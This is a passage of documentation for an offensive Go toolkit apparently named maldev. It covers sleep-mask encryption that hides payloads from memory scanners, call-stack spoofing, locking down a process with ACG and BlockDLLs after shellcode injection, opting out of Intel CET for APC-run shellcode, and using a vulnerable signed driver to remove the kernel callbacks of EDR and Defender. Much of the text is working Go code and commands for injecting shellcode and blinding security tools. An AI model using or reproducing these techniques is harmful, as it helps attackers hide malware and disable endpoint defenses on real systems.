    mask := sleepmask.New(sleepmask.Region{Addr: addr, Size: uintptr(len(payload))})

    // Concurrent scanner during the sleep.
    var scanHits, scanAttempts int32
    stopScan := make(chan struct{})
    scanDone := make(chan struct{})
    go func() {
        defer close(scanDone)
        for {
            select {
            case <-stopScan: return
            default:
            }
            atomic.AddInt32(&scanAttempts, 1)
            if _, hit := testutil.ScanProcessMemory(marker); hit {
                atomic.AddInt32(&scanHits, 1)
            }
            time.Sleep(5 * time.Millisecond)
        }
    }()

    _ = mask.Sleep(context.Background(), 300*time.Millisecond)
    close(stopScan); <-scanDone

    assert.Zero(t, atomic.LoadInt32(&scanHits),
        "concurrent scanner must NOT find canary during masked sleep")
    assert.Greater(t, atomic.LoadInt32(&scanAttempts), int32(5),
        "scanner must have run several passes during the sleep")

    _, ok = testutil.ScanProcessMemory(marker)
    assert.True(t, ok, "canary must be findable again after sleep returns")
}

The full suite (all run on a real Win10 VM via scripts/vm-run-tests.sh):

TestWhat it proves
TestSleepMaskE2E_DefeatsExecutablePageScanner~60 concurrent scans during a 300 ms sleep, zero hits. Scan finds the canary before and after.
TestSleepMaskE2E_RestoresOriginalRXProtectionMid-sleep VirtualQuery reports PAGE_READWRITE; post-sleep reports PAGE_EXECUTE_READ.
TestSleepMaskE2E_RestoresOriginalRWXProtectionAn RWX region stays RWX after the cycle (not collapsed to RX).
TestSleepMaskE2E_MultiRegionIndependentEncryptionTwo distinct markers, each region scrambled mid-sleep, both bytes restored.
TestSleepMaskE2E_BeaconLoopStableAcrossCycles10 back-to-back cycles; bytes and protection unchanged after every cycle.
TestSleepMaskE2E_BusyTrigAlsoDefeatsScannerInlineStrategy{UseBusyTrig: true} gives the same scanner-defeating guarantee as the default.
TestSleepMaskE2E_DefeatsExecutablePageScanner/{inline,timerqueue}sub-tests loop the core scan-defeats invariant over every shipped strategy.
TestTimerQueueStrategy_CycleRoundTrip / _CtxCancellationPool-thread variant encrypts + decrypts correctly and still decrypts on ctx.DeadlineExceeded.
TestEkkoStrategy_RejectsNonRC4Cipher / _RejectsMultiRegionEkko validates its input constraints (RC4 only, single region).
TestRemoteInlineStrategy_RoundTripRemoteMask round-trips bytes through ReadProcessMemory → Apply → WriteProcessMemory against a spawned notepad.

Run locally:

./scripts/vm-run-tests.sh windows "./evasion/sleepmask/..." "-v -count=1 -run TestSleepMaskE2E"

Common Pitfalls

Order-of-operations matters. The region under protection is almost always PAGE_EXECUTE_READ after a typical injection sequence. Writing the XOR pass before the VirtualProtect(RW) will raise STATUS_ACCESS_VIOLATION on the first byte. The sleep mask consistently VirtualProtects first, then XORs. If you extend this package, preserve that order. (This was historically a bug; the added e2e test TestSleepMaskE2E_RestoresOriginalRXProtection pins the behavior.)

The mask code itself is unencrypted. Code paths executing Mask.Sleep — the XOR loop, the VirtualProtect calls, the timer — must stay executable. You cannot mask the mask. Treat it as a small scannable kernel; keep it short, keep it varied if possible, and don't register its own .text as a region.

The key is on the stack during sleep. Mask.Sleep zeroes the key via cleanup/memory.SecureZero only after the region is decrypted. During the sleep itself the 32-byte key lives on the Go stack frame of Sleep. A targeted memory dump timed exactly mid-sleep could recover it and undo the protection. If that matters, consider cleanup/memory.DoSecret (Go 1.26+ GOEXPERIMENT=runtimesecret path) to wrap the whole cycle — see docs/techniques/cleanup/memory-wipe.md.

Very short sleeps cost more than they hide. Below ~50 ms the VirtualProtect + XOR round-trip becomes a measurable fraction of the "sleep", and you've traded scanner-visibility for API-call-volume visibility. Sleep mask pays off when the idle interval is comfortably longer than the encrypt/decrypt cycle.

InlineStrategy still goes through the kernel. Go's time.Sleep on Windows is implemented via a timer object. Any EDR hooking NtWaitForSingleObject or the scheduler will observe the wait — it won't see the scrambled memory, but it will see you sleeping. Use InlineStrategy{UseBusyTrig: true} to avoid any wait syscall, or TimerQueueStrategy to move the wait off the caller goroutine.

Comparison

Featuremaldev/sleepmaskCobalt Strike BOF sleep_maskSliver sleep mask
Cipherrepeating-key XOR (32 bytes, fresh per sleep)XOR (historically); tunable via BOFAES
Permission downgradeyes, per-region, original restoredyesyes
Multi-regionyesgenerally onegenerally one
Busy-wait alternativeInlineStrategy{UseBusyTrig: true}no (BOF-replaceable)no
Pluggable cipherXOR / RC4 / AES-CTRBOF-replaceableAES only
Pluggable wait-threadInlineStrategy, TimerQueueStrategy, EkkoStrategy, FoliageStrategynono
Stack scrubbing during waitFoliageStrategy (L3 — zeros used shadow frames mid-chain)BOF-replaceableno
Cross-process maskingRemoteMask + RemoteInlineStrategyyesyes
Key zeroingyes (SecureZero)varies by BOFyes
Self-encryptionno (limitation)nono

Running the demo

cmd/sleepmask-demo exercises both scenarios with a configurable cipher/strategy and a concurrent scanner:

# Scenario A: mask a canary in our own process (default strategy=inline, cipher=xor).
go run ./cmd/sleepmask-demo -scenario=self -cycles=3 -sleep=5s

# Pool-thread variant, aes cipher, 10s sleeps.
go run ./cmd/sleepmask-demo -scenario=self -strategy=timerqueue -cipher=aes -cycles=2 -sleep=10s

# Scenario B: spawn notepad suspended, mask a canary in its address space.
go run ./cmd/sleepmask-demo -scenario=host -host-binary='C:\Windows\System32\notepad.exe' -cipher=rc4

The scanner prints HIT before/after each cycle and MISS throughout the masked window.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/sleepmask is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Call-stack spoofing — metadata primitives

← evasion area README · docs/index

TL;DR

When EDR sees VirtualAllocEx called, it walks the calling thread's stack and asks "who got us here?". A real Win32 program shows RtlUserThreadStart → BaseThreadInitThunk → main → ... → VirtualAllocEx. A Go injector shows runtime.goexit → ... → syscall.Syscall6 → VirtualAllocEx — instantly suspicious.

Spoofing the call stack rewrites the stack so the walker sees the benign Win32 lineage instead.

The package splits into two halves with very different maturity:

LayerWhat you getStatus
Metadata helpers (StandardChain, FindReturnGadget, LookupFunctionEntry, Validate)Build the synthetic Frame chain (RtlUserThreadStart → BaseThreadInitThunk → …) with valid RUNTIME_FUNCTION rows pulled from ntdll/kernel32 .pdata. Use independently of any pivot.Production-ready. Used today by evasion/preset for stack metadata.
Asm pivot (SpoofCall)Plants the chain on the thread's stack and JMPs into the target so the unwinder walks the synthetic framesExperimental scaffold — gated behind MALDEV_SPOOFCALL_E2E=1, documented crash path. Use the metadata helpers + your own pivot for production.

What the metadata helpers DO:

  • Resolve kernel32!BaseThreadInitThunk + ntdll!RtlUserThreadStart via RtlLookupFunctionEntry so each Frame carries a valid RUNTIME_FUNCTION the unwinder will follow.
  • Find a RET gadget in ntdll's .text so the CPU "lands" inside ntdll after the target returns — the unwinder then walks ntdll's full .pdata coverage.
  • Validate catches structural mistakes (wrong unwind info, RIP out of [Begin, End)) before the chain hits a walker.

What this DOES NOT do:

  • Doesn't bypass ETW Threat-Intelligence cross-validation — ETW's Microsoft-Windows-Threat-Intelligence provider can cross-check the walked RIPs against actual control flow. EDRs paying for ETW-TI subscriptions still see you.
  • Doesn't change WHAT the spoofed thread does — only WHO it appears to call from. The actual VirtualAllocEx still happens; it just looks like it came from BaseThreadInitThunk.
  • SpoofCall is not safe — the asm pivot is research scaffold. For production, use the metadata helpers (StandardChain returns a usable []Frame chain) and write your own asm pivot tuned to your target's calling convention.

Primer — vocabulary

Six terms recur on this page:

Stack walking — the process of following return addresses on a thread's stack to reconstruct the chain of callers (the "back trace"). EDRs do this on suspicious API calls; debuggers do it for crash analysis.

RtlVirtualUnwind — the user-mode function (and its kernel-mode sibling) that performs the actual stack-walk step. Given a current RIP, it looks up the matching RUNTIME_FUNCTION in the module's .pdata and follows the unwind info to compute the previous frame.

RUNTIME_FUNCTION — a 12-byte record in a PE's .pdata section describing one function's start RVA, end RVA, and a pointer to its UNWIND_INFO. Without a RUNTIME_FUNCTION covering the current RIP, the unwinder can't proceed — which is why the spoof needs the fake "return address" to land INSIDE ntdll (full .pdata coverage).

.pdata — the PE section holding all RUNTIME_FUNCTION entries for the module. Sorted by start RVA; binary-searched by RtlLookupFunctionEntry.

Thread-init lineage — the canonical Win32 thread startup chain: RtlUserThreadStart → BaseThreadInitThunk → main. Every legitimate thread on Windows has these two frames at the bottom. Spoofing aims to make the walker SEE this lineage even when the actual code path didn't go through it.

RET gadget — a single RET instruction (0xC3) somewhere in ntdll's .text. Used as the "land here after the target returns" address in the spoof. After the gadget RETs, the CPU pops the next address (the next frame in the chain) and continues.

How It Works

sequenceDiagram
    participant G as "Caller (Go)"
    participant S as "Spoof pivot (asm)"
    participant T as "Target fn"
    participant W as "RtlVirtualUnwind"
    participant N as "ntdll RET gadget"

    Note over G: Build chain via StandardChain + FindReturnGadget
    G->>S: SpoofCall(target, chain, args)
    S->>S: Plant fakeRet then realRet on stack
    S->>T: JMP target (not CALL)
    Note over T: Executes body. RIP inside target.
    W->>T: Snapshot RIP at sampling moment
    W->>T: Lookup RUNTIME_FUNCTION RIP
    W-->>W: Unwinds via target .pdata
    W->>N: Lands on fakeRet, ntdll RET gadget
    W->>N: Lookup RUNTIME_FUNCTION fakeRet
    W-->>W: Walks ntdll frame metadata
    W-->>G: Reports BaseThreadInitThunk then RtlUserThreadStart

    T-->>N: RET pops fakeRet
    N-->>G: RET pops realRet, back to Go

Steps:

  1. StandardChain resolves the canonical thread-init lineage: kernel32!BaseThreadInitThunk (inner caller) and ntdll!RtlUserThreadStart (outer caller). Both are looked up via RtlLookupFunctionEntry so the returned Frame[i] carries a valid RUNTIME_FUNCTION row from the legitimate module's .pdata.
  2. FindReturnGadget scans ntdll.dll's .text for a lone RET (0xC3 followed by alignment padding). The address is used as the fake return at the top of the chain — when the target's own RET fires, the CPU jumps into ntdll's image, which has full .pdata coverage.
  3. The asm pivot (SpoofCall scaffold, gated behind MALDEV_SPOOFCALL_E2E=1) plants [fakeRet, ...chain] on the thread's stack, then JMPs (not CALLs) into the target. When the target returns, it pops fakeRet and the CPU lands inside ntdll. A walker that samples RIP at any point above the target walks ntdll's metadata and reports a benign thread-init sequence.
  4. Validate confirms structural consistency before any of this: non-zero return / image base / unwind-info; ControlPc bounded by the RUNTIME_FUNCTION [Begin, End) window.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/callstack is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — build + validate a chain

chain, err := callstack.StandardChain()
if err != nil {
    log.Fatal(err)
}
if err := callstack.Validate(chain); err != nil {
    log.Fatalf("chain invalid: %v", err)
}
gadget, err := callstack.FindReturnGadget()
if err != nil {
    log.Fatal(err)
}
log.Printf("chain frames=%d gadget=%#x", len(chain), gadget)

Composed — chain + injection landing-site spoof

The chain is one piece of the deception. Pair it with evasion/unhook and an indirect-syscall caller so a walker that lands on any of the hot calls sees ntdll-resident addresses with valid .pdata.

import (
    "github.com/oioio-space/maldev/evasion/callstack"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

stdChain, _ := callstack.StandardChain()
_ = callstack.Validate(stdChain)
gadget, _ := callstack.FindReturnGadget()
gadgetFrame, _ := callstack.LookupFunctionEntry(gadget)
full := append([]callstack.Frame{gadgetFrame}, stdChain...)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHashGate())
defer caller.Close()
inj, _ := inject.NewWindowsInjector(&inject.WindowsConfig{
    Config:        inject.Config{Method: inject.MethodCreateThread},
    SyscallMethod: wsyscall.MethodIndirect,
})
_ = inj.Inject(shellcode)
_ = full // hand off to operator's own pivot OR callstack.SpoofCall

Advanced — SpoofCall (gated)

// MALDEV_SPOOFCALL_E2E=1 must be set; the asm pivot is debug-only.
chain, _ := callstack.StandardChain()
gadget, _ := callstack.FindReturnGadget()
gadgetFrame, _ := callstack.LookupFunctionEntry(gadget)
full := append([]callstack.Frame{gadgetFrame}, chain...)

target := unsafe.Pointer(windows.NewLazyDLL("ntdll.dll").
    NewProc("RtlGetVersion").Addr())
ret, err := callstack.SpoofCall(target, full /* no args */)
if err != nil {
    log.Fatalf("spoofcall: %v", err)
}
log.Printf("RtlGetVersion returned %#x", ret)

OPSEC & Detection

VectorVisibilityMitigation
RtlLookupFunctionEntry readsnot loggednone needed
Synthetic frame on the thread stackreflection-based walkers may flaglive with the residual; pair with HW-BP variant (P2.6) on hardened targets
ETW Threat-Intelligencecross-references RIP against legitimate call graphEDRs subscribing to TI can still flag — evasion/callstack makes the chain plausible, not indistinguishable
ntdll RET-gadget addressstatic — same value across calls within a processrandomise gadget pick from FindReturnGadget candidates (future enhancement)

D3FEND counters: D3-PSA (Process Spawn Analysis) — when paired with a benign thread-init RIP sequence the spawn / call chain appears legitimate.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1036Masqueradingcall-stack metadataD3-PSA
T1027Obfuscated Files or Informationruntime stack obfuscationD3-EAL

Limitations

  • x64 only. x86 uses frame-pointer walking rather than .pdata-based unwind, which requires a different spoof strategy.
  • Synthetic frames detected by ETW Threat-Intelligence. Some EDRs (especially those consuming the TI provider) cross-check every stack frame RIP against the current call graph.
  • Module relocations. StandardChain caches the frames after first call; if the target module unmaps + remaps at a new base (unusual but possible under ASLR-stressed environments), the cached frames become stale. Spawn a fresh process or build a one-shot chain via LookupFunctionEntry.
  • No hardware-breakpoint variant yet. The fortra-style HWBP pivot (HW-BP on RET gadget for stronger obfuscation) is tracked under backlog row P2.6.
  • SpoofCall is experimental. The pivot occasionally crashes through Go's lastcontinuehandler due to runtime M:N scheduling. Promotion to a tagged release waits on a clean root-cause.

See also

ACG + BlockDLLs

MITRE ATT&CK: T1562.001 -- Impair Defenses: Disable or Modify Tools | D3FEND: D3-AIPA -- Application Integrity Protection Analysis | Detection: Low

Primer

Imagine you are in a clean room doing sensitive work. You lock the door so nobody can enter, and you cover all the air vents so nothing can be blown in. That is what ACG and BlockDLLs do to your process.

ACG (Arbitrary Code Guard) tells Windows: "Do not allow any new executable memory allocations in this process." Once enabled, nobody -- not even the operating system -- can create new PAGE_EXECUTE_* memory regions. This blocks EDR from injecting dynamic hooks or code into your process. It also blocks shellcode injection from outside.

BlockDLLs (Binary Signature Policy) tells Windows: "Only load DLLs that are signed by Microsoft." This prevents EDR products from loading their monitoring DLLs (like CrowdStrike.dll or SentinelOne.dll) into your process. Since these DLLs are typically signed by their vendor (not Microsoft), they are blocked.

Together, these two mitigations create a hardened process that rejects external code injection and unsigned DLL loading. The critical caveat: ACG also prevents your own shellcode from allocating executable memory, so you must apply it AFTER your injection is complete.

How It Works

flowchart TD
    subgraph ACG["Arbitrary Code Guard"]
        A1[SetProcessMitigationPolicy] --> A2[ProcessDynamicCodePolicy]
        A2 --> A3[ProhibitDynamicCode = 1]
        A3 --> A4[All future VirtualAlloc\nwith PAGE_EXECUTE_* → FAIL]
        A3 --> A5[All future VirtualProtect\nto PAGE_EXECUTE_* → FAIL]
    end

    subgraph BlockDLLs["Block Non-Microsoft DLLs"]
        B1[SetProcessMitigationPolicy] --> B2[ProcessBinarySignaturePolicy]
        B2 --> B3[MicrosoftSignedOnly = 1]
        B3 --> B4[LoadLibrary of unsigned DLL → FAIL]
        B3 --> B5[EDR DLL injection → FAIL]
    end

    subgraph Timeline["Correct Application Order"]
        T1[1. Evasion: AMSI + ETW] --> T2[2. Injection: shellcode]
        T2 --> T3[3. Harden: ACG + BlockDLLs]
        T3 --> T4[Process is now locked down]
    end

    style A4 fill:#5c1a1a,color:#fff
    style A5 fill:#5c1a1a,color:#fff
    style B4 fill:#5c1a1a,color:#fff
    style B5 fill:#5c1a1a,color:#fff
    style T3 fill:#2d5016,color:#fff

ACG internals:

  • Calls SetProcessMitigationPolicy with policy ID 2 (ProcessDynamicCodePolicy).
  • Sets ProhibitDynamicCode = 1 in the policy flags.
  • Once set, this is irreversible for the process lifetime.

BlockDLLs internals:

  • Calls SetProcessMitigationPolicy with policy ID 8 (ProcessBinarySignaturePolicy).
  • Sets MicrosoftSignedOnly = 1.
  • Once set, this is irreversible for the process lifetime.

Usage

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion/acg"
    "github.com/oioio-space/maldev/evasion/blockdlls"
)

func main() {
    // Enable ACG -- no more dynamic code allocation.
    if err := acg.Enable(nil); err != nil {
        log.Fatal(err)
    }

    // Block non-Microsoft DLLs.
    if err := blockdlls.Enable(nil); err != nil {
        log.Fatal(err)
    }
}

Combined Example

package main

import (
    "log"

    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

func main() {
    shellcode := []byte{0x90, 0x90, 0xCC}

    // 1. FIRST: Evasion (AMSI + ETW + unhook).
    evasion.ApplyAll(preset.Stealth(), nil)

    // 2. SECOND: Inject shellcode (needs executable memory allocation).
    if err := inject.ThreadPoolExec(shellcode); err != nil {
        log.Fatal(err)
    }

    // 3. LAST: Lock down the process.
    //    Aggressive preset includes ACG + BlockDLLs.
    //    WARNING: No more RWX allocations possible after this!
    evasion.ApplyAll(preset.Aggressive(), nil)

    // From this point:
    // - No EDR can inject hooks or DLLs
    // - No new executable memory can be created
    // - The process is hardened for the rest of its lifetime
}

Advantages & Limitations

AspectDetail
StealthHigh -- uses legitimate Windows mitigation APIs. Looks like a security-conscious application.
EffectivenessVery high -- kernel-enforced. Even ring-0 drivers respect these mitigations (by design).
IrreversibilityBoth policies are permanent for the process lifetime. Cannot be undone.
Order dependencyMUST apply AFTER all shellcode injection and evasion patching is complete. ACG blocks VirtualProtect to RX.
CompatibilityWindows 10 1709+ (Fall Creators Update). Returns error on older versions.
LimitationsSetProcessMitigationPolicy is a kernel32 export with no NT equivalent routable through *wsyscall.Caller. The caller parameter is accepted for API consistency but cannot bypass hooks on this specific function. BlockDLLs may break legitimate third-party DLLs.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/acg is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

See also

Intel CET shadow-stack opt-out

← evasion index · docs/index

TL;DR

On Intel CET-capable Windows 11+ hosts, indirect call/return targets must begin with the ENDBR64 instruction (F3 0F 1E FA). Code that violates this is killed with STATUS_STACK_BUFFER_OVERRUN (0xC000070A). This package: detect (Enforced), opt out (Disable), or marker- prefix shellcode (Wrap) so it survives CET-enforced indirect dispatch.

Primer

Control-flow Enforcement Technology is Intel's hardware-level mitigation against ROP / JOP / COP attacks. The shadow stack tracks legitimate call return addresses; the indirect-branch tracker requires ENDBR64 at every indirect call destination. Both are enabled per-process via the ProcessUserShadowStackPolicy mitigation.

For maldev, the most-impactful CET site is KiUserApcDispatcher. APC- delivered shellcode (used by injection methods like NtNotifyChangeDirectory-callback, fiber callback, etc.) executes via indirect dispatch. If the shellcode doesn't start with ENDBR64, CET kills the process.

Three complementary tools:

  • Enforced() reports whether the policy is active. Cheap; call this first before deciding between Disable and Wrap.
  • Disable() is best-effort relax — fails when the image was compiled with /CETCOMPAT (the Go runtime currently is NOT, but /CETCOMPAT-compiled DLLs you might host can opt the process in).
  • Wrap(sc) prepends the ENDBR64 marker if not present. Side-effect- free, idempotent. Safe to call unconditionally.

How it works

flowchart TD
    Start["shellcode injected"] --> Q{"cet.Enforced ?"}
    Q -- No --> Run["execute as-is"]
    Q -- Yes --> TryDisable["cet.Disable"]
    TryDisable -- success --> Run
    TryDisable -- "fails ERROR_NOT_SUPPORTED" --> Wrap["sc = cet.Wrap(sc)"]
    Wrap --> Run

Disable issues SetProcessMitigationPolicy(ProcessUserShadowStackPolicy, {Enable: 0, ...}). The kernel rejects the relax if any module in the process has IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT set.

Wrap is a pure byte-level operation: prepend F3 0F 1E FA to the shellcode buffer if the first 4 bytes don't already match.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/cet is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

sc := []byte{0x90, 0x90, 0xc3} // nop nop ret
sc = cet.Wrap(sc)              // now 7 bytes: F3 0F 1E FA 90 90 C3

Composed — runtime decision

if cet.Enforced() {
    if err := cet.Disable(); err != nil {
        sc = cet.Wrap(sc)
    }
}

Advanced (chain into APC injection)

sc := loadShellcode()
if cet.Enforced() {
    if err := cet.Disable(); err != nil {
        sc = cet.Wrap(sc)
    }
}
// CallbackNtNotifyChangeDirectory invokes the shellcode via
// KiUserApcDispatcher — without the marker on a CET host, this would
// die with STATUS_STACK_BUFFER_OVERRUN.
_ = inject.ExecuteCallback(sc, inject.CallbackNtNotifyChangeDirectory)

OPSEC & Detection

ArtefactWhere defenders look
SetProcessMitigationPolicy(ProcessUserShadowStackPolicy) callETW TI Threat Intelligence + Defender ASR provider events
Process began with policy enforced, ended withoutETW per-process mitigation lifecycle
ENDBR64-prefixed shellcode in injected memoryEDR memory scanner — distinctive 4-byte pattern at RWX page starts

D3FEND counter: D3-PSEP.

Hardening: treat SetProcessMitigationPolicy calls as high-fidelity signal in process-spawn telemetry. The ENDBR64 prefix on injected memory is a reasonable secondary heuristic.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1562.001Impair Defenses: Disable or Modify Toolsshadow-stack policy relax + marker prefixD3-PSEP

Limitations

  • Disable fails on /CETCOMPAT images. The Go runtime today is not, but a /CETCOMPAT DLL loaded into the process locks the policy on. Wrap is the always-available fallback.
  • Wrap doesn't help with shadow-stack misalignment. Only the indirect-branch tracker is bypassed by ENDBR64. The shadow stack catches return-address mismatches; if your callback returns to a non-pristine RSP, CET still kills the process.
  • Pre-Win11 hosts have no CET. Enforced() returns false; both Disable and Wrap are no-ops. Calling them is harmless.
  • Non-Intel-CET CPUs (older Intel Skylake/Cascade Lake, all AMD before Zen 4) have no CET hardware. Enforced() returns false.

See also

Kernel callback enumeration + removal

← evasion area README · docs/index

TL;DR

EDR drivers don't just hook userland — they register kernel notification callbacks so the OS itself tells them every time a process / thread / image is created. Userland evasion (AMSI patches, ntdll unhooking) is invisible to these callbacks. Killing them at the kernel level is the only way to blind the EDR's process-spawn telemetry without admin-level driver work.

This package gives you two operations:

OperationWhat you needWhat you get
EnumerateA KernelReader (BYOVD) + the running ntoskrnl's offset tableList of every registered callback (kind / index / address / owning driver / enabled bit) — directly reveals which EDR driver is listening
Remove + RestoreA KernelReadWriter (BYOVD) + the index of a callback to silenceEDR stops getting that event class until you restore (or process exits)

What this DOES achieve:

  • Process / thread / image-load callbacks for the targeted EDR go silent. The driver still runs, but it stops being notified.
  • Surgical: you can kill one EDR's callbacks without affecting Windows Defender or other agents.

What this does NOT achieve:

  • Userland telemetry stays alive — AMSI, ETW, inline hooks in ntdll. Layer with evasion/preset.Stealth for those.
  • Other kernel hook surfaces stay intact — minifilter callbacks (FltRegisterFilter), object callbacks (ObRegisterCallbacks), Etw kernel-mode providers, etc. The EDR can still see file opens / handle ops via those. Each is a separate attack.
  • Doesn't bypass HVCI/PG — Microsoft's PatchGuard scans these arrays periodically. If your driver's BYOVD primitive triggers PG, you BSOD. Tested with RTCore64 → safe; untested drivers may not be.

Requires BYOVD — every kernel R/W primitive in this codebase routes through a signed-but-vulnerable driver (RTCore64, kdmapper + custom, EDRSandBlast). User-mode alone cannot read or write nt!Psp*NotifyRoutine arrays. See kernel/driver/rtcore64.

Primer — vocabulary

Six terms recur on this page:

Notification callback — a function pointer drivers register via PsSetCreateProcessNotifyRoutine/etc. The kernel calls every registered function on the relevant event (process creation, thread creation, image load). Up to 64 slots per array.

PEX_CALLBACK — packed 64-bit slot value: upper 60 bits point at a ROUTINE_BLOCK, lower 4 bits are flags (enabled / refcount). The actual callback function lives at offset 8 inside the ROUTINE_BLOCK — one indirection beyond the slot.

BYOVD ("Bring Your Own Vulnerable Driver") — load a legitimately-signed-but-vulnerable third-party driver (RTCore64 from MSI Afterburner, GIGABYTE GDRV, …) that exposes an IOCTL for arbitrary kernel R/W. The driver itself is signed, so Driver Signature Enforcement loads it; the vulnerability gives you the kernel primitive. Required for everything in this package.

OffsetTable — caller-supplied RVAs of PspCreateProcessNotifyRoutine and friends in ntoskrnl.exe. Different per Windows build — changes with every cumulative update. No built-in database because hardcoding stale offsets points at garbage.

PatchGuard (PG) — Windows kernel integrity check that scans critical structures periodically. Some BYOVD primitives trigger PG → BSOD. RTCore64's slow IOCTL pattern stays under the radar; faster drivers may not.

HVCI (Hypervisor-protected Code Integrity) — Win11 default mitigation that runs the kernel under a hypervisor and refuses to map unsigned kernel memory. HVCI ON breaks most BYOVD paths (the driver loads but its kernel writes get blocked). The rtcore64 path documents which builds it bypasses.

Modern EDR / AV products hook into kernel event streams by registering kernel notification callbacks via PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, and PsSetLoadImageNotifyRoutine. Each API appends a callback slot to one of three in-kernel arrays:

ArrayTriggerUsed by
PspCreateProcessNotifyRoutineNtCreateUserProcessEDR process-start telemetry
PspCreateThreadNotifyRoutinePspInsertThreadEDR thread-start telemetry
PspLoadImageNotifyRoutineMiMapViewOfImageSectionEDR image-load scanning

Each slot is a PEX_CALLBACK — a 64-bit value where the upper 60 bits point at a ROUTINE_BLOCK and the lower 4 bits are flags (enabled, reference count). The real callback function lives at offset 8 inside the ROUTINE_BLOCK.

Enumerating the arrays tells the operator which driver registered which callback — typically directly revealing the EDR's kernel driver

  • the function it hooks. Removing a slot is the more aggressive play: the EDR stops seeing the relevant kernel events. Both paths need arbitrary kernel R/W, which user-mode alone cannot reach. Every public technique (EDRSandBlast, kdmapper + custom driver, RTCore64) relies on a signed-driver primitive — BYOVD.

How It Works

sequenceDiagram
    participant U as "Caller"
    participant K as "kcallback"
    participant R as "KernelReader (BYOVD)"
    participant N as "ntoskrnl"

    U->>K: NtoskrnlBase()
    K->>N: NtQuerySystemInformation(SystemModuleInformation)
    N-->>K: base = 0xFFFFF80123400000

    U->>K: Enumerate(reader, OffsetTable)
    loop for each configured RoutineRVA
        K->>R: ReadKernel(base + rva, ArrayLen * 8)
        R-->>K: ArrayLen slots, 8 bytes each
        loop per non-zero slot
            K->>K: block = slot AND NOT 0xF
            K->>R: ReadKernel(block + 8, 8) -- function pointer
            R-->>K: callback function VA
            K->>K: DriverAt(fn) -- driver name
        end
    end
    K-->>U: []Callback Kind, Index, Address, Module, Enabled

Steps:

  1. NtoskrnlBase resolves the kernel image base via NtQuerySystemInformation(SystemModuleInformation) — user-mode-only, no driver needed.
  2. Enumerate reads the three callback arrays from base + RVA for each configured array, masks the lower 4 tag bits, follows the ROUTINE_BLOCK + 8 indirection to the actual callback function, and resolves the owning driver via DriverAt (best-effort module-name lookup).
  3. Remove (separate primitive) reads the original 8-byte slot, captures it into an opaque RemoveToken, then writes 8 zero bytes. The EDR's notify routine stops being called as soon as the kernel sees the zero write.
  4. Restore re-writes the captured token; safe to defer immediately after Remove because RemoveToken{} IsZero() makes restore a no-op when Remove returned an error.

The read-original / write-zero pair has a ~µs race window where a competing actor could observe a half-written slot. RTCore64 issues both IOCTLs fast enough that production scanners rarely observe this in practice.

Per-build offset table

OffsetTable.CreateProcessRoutineRVA / CreateThreadRoutineRVA / LoadImageRoutineRVA are caller-populated. The package ships no built-in database because offsets shift with every cumulative ntoskrnl update — hardcoding a stale offset would point callers at garbage and silently produce wrong results.

Derivation workflow (offline, one-time per build):

  1. Grab the victim's ntoskrnl.exe from C:\Windows\System32\ntoskrnl.exe.
  2. Fetch its PDB: symchk /if ntoskrnl.exe /s SRV*c:\symbols*https://msdl.microsoft.com/download/symbols.
  3. Dump the symbol RVA: llvm-pdbutil dump --globals ntoskrnl.pdb | grep PspCreateProcessNotifyRoutine.
  4. Record the RVA in OffsetTable{Build: 19045, CreateProcessRoutineRVA: 0xC1AAA0, ...}.
  5. Build a map[uint32]OffsetTable keyed by build and pick at runtime via win/version.Current().BuildNumber.

EDRSandBlast publishes a regularly-updated offset table — treat it as upstream reference, not as committed library state.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/evasion/kcallback is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — enumerate

v := version.Current()
tab := offsetsByBuild[v.BuildNumber] // operator-curated map
if tab.Build == 0 {
    log.Fatalf("no offsets for ntoskrnl build %d", v.BuildNumber)
}

reader := MyDriverReader{} // any BYOVD KernelReader
cbs, err := kcallback.Enumerate(&reader, tab)
if err != nil {
    log.Fatal(err)
}
for _, cb := range cbs {
    fmt.Printf("%v[%d] -> %#x (%s) enabled=%v\n",
        cb.Kind, cb.Index, cb.Address, cb.Module, cb.Enabled)
}

Sample output:

KindCreateProcess[0] -> 0xFFFFF80123456789 (ntoskrnl.exe) enabled=true
KindCreateProcess[1] -> 0xFFFFF88765432100 (cidevrt.sys)  enabled=true
KindCreateProcess[2] -> 0xFFFFF89abcdef000 (WdFilter.sys) enabled=true
KindCreateThread [0] -> 0xFFFFF89abcdef800 (WdFilter.sys) enabled=true
KindLoadImage    [0] -> 0xFFFFF89abcdef100 (WdFilter.sys) enabled=true

Composed — RTCore64 + selective Remove + Restore

Pair the enumeration with a driver-backed KernelReadWriter, zero the slots owned by the EDR's notify routines for the duration of the payload, then restore everything before exit.

import (
    "github.com/oioio-space/maldev/evasion/kcallback"
    "github.com/oioio-space/maldev/kernel/driver/rtcore64"
)

var d rtcore64.Driver
if err := d.Install(); err != nil {
    log.Fatal(err)
}
defer d.Uninstall()

tab := kcallback.OffsetTable{
    Build:                   19045,
    CreateProcessRoutineRVA: 0xC1AAA0,
    CreateThreadRoutineRVA:  0xC1AC20,
    LoadImageRoutineRVA:     0xC1AB40,
    ArrayLen:                64,
}

cbs, _ := kcallback.Enumerate(&d, tab)

defenderModules := map[string]bool{
    "WdFilter.sys": true, "MsSecCore.sys": true, "WdNisDrv.sys": true,
}
var tokens []kcallback.RemoveToken
for _, cb := range cbs {
    if !defenderModules[cb.Module] {
        continue
    }
